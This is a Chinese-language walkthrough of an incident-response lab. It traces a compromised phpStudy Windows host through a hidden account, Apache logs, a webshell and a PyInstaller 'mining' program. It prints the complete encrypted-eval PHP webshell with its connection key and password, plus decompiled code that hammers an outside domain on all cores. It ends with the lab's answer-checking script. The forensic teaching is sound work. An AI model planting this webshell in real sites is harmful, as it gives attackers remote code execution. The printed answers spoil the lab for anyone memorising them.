前景需要:
小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,这是他的服务器系统,请你找出以下内容,并作为通关条件:
1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名
用户:
administrator
密码
Zgsf@admin.com
一、题目要求
- 攻击者的 shell 密码
- 攻击者的 IP 地址
- 攻击者创建的隐藏账户名称
- 攻击者挖矿程序使用的矿池域名(仅域名)
二、应急响应总体思路
真实应急响应中,一般遵循以下顺序:
- 账户异常排查(最快、最明显)
- Web 服务与 WebShell 排查
- 日志溯源(锁定攻击 IP)
- 恶意程序与挖矿行为确认
- 逆向分析恶意程序,提取矿池信息
三、隐藏账户排查(问题 3)
3.1 为什么先查账户?
攻击者在 Web 入侵成功后,最稳定的持久化方式就是创建系统账户,这样即使 WebShell 被删,也能重新登录系统。
3.2 查看本地用户和组
使用图形界面方式:
Win + R → lusrmgr.msc打开 “本地用户和组 → 用户”,查看所有用户
3.3 发现隐藏账户
在用户列表中发现一个明显异常用户:
hack168$判断依据:
- 以
$结尾(Windows 中常用于隐藏账户) - 非系统默认用户
- 明显人为创建
攻击者的隐藏账户名称:hack168$
用命令确认:
$net user hack168$ 用户名 hack168$ 全名 注释 用户的注释 国家/地区代码 000 (系统默认值) 帐户启用 Yes 帐户到期 从不 上次设置密码 2024/2/26 23:01:13 密码到期 从不 密码可更改 2024/2/26 23:01:13 需要密码 Yes 用户可以更改密码 Yes 允许的工作站 All 登录脚本 用户配置文件 主目录 上次登录 2024/2/26 23:02:24 可允许的登录小时数 All 本地组成员 *Administrators *Users 全局组成员 *None 命令成功完成。四、Web 服务排查与 WebShell 定位(问题 1)
4.1 确认 Web 环境
桌面存在 phpStudy / 小皮面板,说明该主机运行 Web 服务
通过浏览器访问本机 80 端口:
http://127.0.0.1推断攻击者大概率通过 Web 上传漏洞 / Web RCE 入侵
phpStudy路径:
4.2 使用 D 盾扫描 Web 目录
对www目录使用 D 盾 WebShell 查杀工具扫描:
获得webshell路径:C:\phpStudy_pro\WWW\content\plugins\tips\shell.php
4.3 查看 WebShell 内容
打开 WebShell 文件,发现典型一句话木马结构,并在代码中直接写死了密码:
<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>$password = "rebeyond";攻击者的 shell 密码:rebeyond
五、日志分析定位攻击者 IP(问题 2)
启动服务查看
5.1 为什么要看 Apache 日志?
既然确认是 WebShell 上传,那么攻击者的 IP 一定会出现在 Web 访问日志 中
5.2 Apache 日志路径
phpStudy 默认 Apache 日志路径:
C:\phpstudy_pro\Extensions\Apache2.4.39\logs\重点文件:
access.log5.3 分析 access.log
打开access.log,结合以下特征筛选:
- POST 请求
- 上传脚本
- 访问 WebShell 文件
- 请求参数异常
最终定位到攻击源 IP:
192.168.126.1攻击者的 IP 地址:192.168.126.1
弱口令admin,123456能登录
六、挖矿行为确认与恶意程序定位
6.1 异常现象
在桌面操作过程中发现:
- 运行某个可疑程序后
- CPU 使用率瞬间 100%
这是非常典型的 挖矿行为特征
6.2 锁定挖矿程序
在隐藏账户hack168$的目录中发现可疑文件:
Kuang.exe运行即拉满 CPU,基本可以确认:该程序为挖矿木马
七、逆向挖矿程序,提取矿池域名(问题 4)
7.1 为什么要逆向?
挖矿程序一定要连接矿池服务器,矿池地址通常:
- 写死在代码中
- 或以字符串形式存在
7.2 判断程序类型
使用file/ 观察行为后发现:
Kuang.exe为 PyInstaller 打包的 Python 程序
7.3 使用 PyInstaller 反编译
工具准备:
pyinstxtractor.py
执行:
python pyinstxtractor.py Kuang.exe成功解包,得到.pyc文件
7.4 反编译 pyc
将Kuang.pyc上传至 在线 pyc 反编译网站,还原为.py文件
# Decompiled with PyLingual (https://pylingual.io) # Internal filename: Kuang.py # Bytecode version: 3.8.0rc1+ (3413) # Source timestamp: 1970-01-01 00:00:00 UTC (0) import multiprocessing import requests def cpu_intensive_task(): while True: try: requests.get('http://wakuang.zhigongshanfang.top', timeout=10) except: pass if __name__ == '__main__': cpu_count = multiprocessing.cpu_count() processes = [multiprocessing.Process(target=cpu_intensive_task) for _ in range(cpu_count)] for process in processes: process.start() for process in processes: process.join()在源码中发现如下关键字符串:
http://wakuang.zhigongshanfang.top这是挖矿程序连接的矿池地址
挖矿程序的矿池域名:wakuang.zhigongshanfang.top
八.逆向题目exe
步骤同上
# Decompiled with PyLingual (https://pylingual.io) # Internal filename: '解题.py' # Bytecode version: 3.8.0rc1+ (3413) # Source timestamp: 1970-01-01 00:00:00 UTC (0) print('公众号:知攻善防实验室') print('欢迎使用知攻善防实验室-应急响应训练靶机解题系统') print('在此之前,您应该获取到以下信息') print('1.攻击者的shell密码') print('2.攻击者的IP地址') print('3.攻击者的隐藏账户名称') print('4.攻击者挖矿程序的矿池域名') num = input('你准备好了吗?(y or n)') if num == 'y': shellpass = input('请输入攻击者的shell密码:') if shellpass == 'rebeyond': print('题解正确!') IPadd = input('请输入攻击者的IP地址') if IPadd == '192.168.126.1': print('题解正确!') username = input('请输入攻击者的隐藏账户名称:') if username == 'hack168' or username == 'hack168$': print('题解正确!') wakuang = input('请输入攻击者挖矿程序的矿池域名:') if wakuang == 'wakuang.zhigongshanfang.top': print('题解正确!') print('恭喜您,该靶机已被您攻破!') print('恭喜您,该靶机已被您攻破!') print('恭喜您,该靶机已被您攻破!') print('恭喜您,该靶机已被您攻破!') # return None直接能逆出答案